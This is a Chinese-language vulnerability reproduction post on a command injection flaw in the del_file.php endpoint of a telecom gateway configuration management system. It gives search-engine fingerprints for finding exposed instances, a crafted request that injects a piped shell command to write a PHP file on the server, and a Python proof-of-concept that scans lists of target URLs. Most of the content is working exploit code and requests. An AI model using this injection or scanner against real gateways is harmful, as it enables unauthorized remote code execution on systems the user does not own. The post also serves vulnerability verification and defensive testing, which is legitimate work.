【漏洞复现】电信网关配置管理系统——命令执行

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。

文章目录


漏洞描述

电信网关配置管理系统是一个用于管理和配置电信网关设备的软件系统。其del_file接口存在命令执行漏洞。

漏洞复现

1)信息收集

fofa:body="a:link{text-decoration:none;color:orange;}"

fofa:body="img/login_bg3.png" && body="系统登录"

hunter:web.body="a:link{text-decoration:none;color:orange;}"

愿世间美好与你欢欢相扣~

2)构造数据包

复制代码
GET /manager/newtpl/del_file.php?file=1.txt%7Cecho%20PD9waHAgZWNobyBtZDUoJzEyMzQ1NicpO3VubGluayhfX0ZJTEVfXyk7Pz4%3D%20%7C%20base64%20-d%20%3E%20404.php HTTP/1.1
Host: ip

代码解释:

  1. 读取名为 "1.txt" 的文件。
  2. 输出 "PD9waHAgZWNobyBtZDUoJzEyMzQ1NicpO3VubGluayhfX0ZJTEVfXyk7Pz4=" 的内容。
  3. 将上述内容进行base64解码。
  4. 解码后:<?php echo md5('123456');unlink(__FILE__);?>
  5. 将解码后的内容写入名为 "404.php" 的文件。
php 复制代码
<?php 
echo md5('123456');
unlink(__FILE__);
?>
  1. 使用md5函数生成字符串'123456'的MD5散列值,并使用echo语句输出这个值。
  2. 使用unlink函数删除当前执行的PHP文件。
  3. __FILE__是一个魔术常量,它返回当前文件的完整路径。
  4. 执行结果:打印123456MD5并删除自身文件。

3)抓包放包

4)查看404.php文件

复制代码
GET /manager/newtpl/404.php HTTP/1.1
Host:ip

回显包含123456的MD5,命令被执行了

测试工具

poc

python 复制代码
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests  # 导入requests库,用于发送HTTP请求
import random  # 导入random库,用于生成随机字符串
import string  # 导入string库,用于获取字符串常量
import argparse  # 导入argparse库,用于解析命令行参数
from urllib3.exceptions import InsecureRequestWarning  # 导入urllib3库中的警告异常

# 定义颜色代码,用于在终端中显示红色文本
RED = '\033[91m'
RESET = '\033[0m'

# 忽略不安全请求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# 定义一个函数,用于生成指定长度的随机字符串
def rand_base(n):
    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=n))

# 定义一个函数,用于检查指定URL是否存在漏洞
def check_vulnerability(url):
    filename = rand_base(6)  # 生成一个随机的6位字符串作为文件名
    # 构造第一个请求的URL,尝试注入恶意代码生成PHP文件
    inject_url = url.rstrip('/') + f'/manager/newtpl/del_file.php?file=1.txt%7Cecho%20PD9waHAgZWNobyBtZDUoJzEyMzQ1NicpO3VubGluayhfX0ZJTEVfXyk7Pz4%3D%20%7C%20base64%20-d%20%3E%20{filename}.php'
    try:
        response_inject = requests.get(inject_url, verify=False, timeout=30)  # 发送请求,不验证SSL证书,超时时间30秒

        # 构造第二个请求的URL,尝试访问生成的PHP文件
        access_url = url.rstrip('/') + f'/manager/newtpl/{filename}.php'
        response_access = requests.get(access_url, verify=False, timeout=30)  # 发送请求

        # 根据响应判断是否存在漏洞
        if response_inject.status_code == 200 and response_access.status_code == 200 and "e10adc3949ba59abbe56e057f20f883e" in response_access.text:
            print(f"{RED}URL [{url}] 存在电信网关配置管理系统 del_file.php 命令执行漏洞{RESET}")
        else:
            print(f"URL [{url}] 不存在漏洞")
    except requests.exceptions.Timeout:
        print(f"URL [{url}] 请求超时,可能存在漏洞")
    except requests.RequestException as e:
        print(f"URL [{url}] 请求失败: {e}")

# 定义主函数,用于解析命令行参数并调用check_vulnerability函数
def main():
    parser = argparse.ArgumentParser(description='检测目标地址是否存在电信网关配置管理系统 del_file.php 命令执行漏洞')
    parser.add_argument('-u', '--url', help='指定目标地址')
    parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')

    args = parser.parse_args()

    if args.url:  # 如果指定了URL
        if not args.url.startswith("http://") and not args.url.startswith("https://"):
            args.url = "http://" + args.url  # 确保URL以http或https开头
        check_vulnerability(args.url)
    elif args.file:  # 如果指定了文件
        with open(args.file, 'r') as file:
            urls = file.read().splitlines()  # 读取文件中的URL列表
            for url in urls:
                if not url.startswith("http://") and not url.startswith("https://"):
                    url = "http://" + url  # 确保URL以http或https开头
                check_vulnerability(url)

# 程序入口点
if __name__ == '__main__':
    main()

运行截图:

相关推荐
文章永久免费只为良心2 天前
Ctfshow_Web应用安全与防护_第二章_无字母数字命令执行
前端·python·安全·网络安全·渗透测试·ctf·红队渗透测试
墨云安全3 天前
AI 漏洞挖掘平台怎么评估?2026 年技术架构与选型要点
网络·人工智能·网络安全·架构·渗透测试
墨云安全3 天前
自动化渗透测试工具有哪些?2026 年引擎原理、任务编排与误报抑制实践
git·测试工具·网络安全·渗透测试·自动化
墨云安全4 天前
自动化安全测试工具的技术架构、集成方式与任务编排(2026 年实践)
人工智能·网络安全·渗透测试
墨云安全4 天前
AI 渗透测试是怎么实现的?2026 年大模型驱动测试用例生成的工程拆解
网络·人工智能·网络安全·渗透测试·测试用例
墨云安全5 天前
内网资产无法暴露到公网,怎么做安全检测?2026 年内网渗透测试的落地路径
开发语言·安全·网络安全·渗透测试·php
墨云安全8 天前
红队评估和渗透测试的区别是什么?2026 年从目标、方法到交付物的对比
网络·安全·web安全·网络安全·渗透测试
白猫不黑11 天前
AI自动化漏洞挖掘从入门到进阶超详细学习路线
人工智能·学习·web安全·网络安全·信息安全·渗透测试·自动化
Eason_LYC16 天前
一个公开密钥放倒一片:Apache Shiro RememberMe 反序列化漏洞
java·网络安全·渗透测试·shiro·漏洞复现·反序列化·ai安全
白猫不黑1 个月前
Python实现简易Web弱口令爆破与防护方案
python·web安全·计算机·网络安全·黑客·信息安全·渗透测试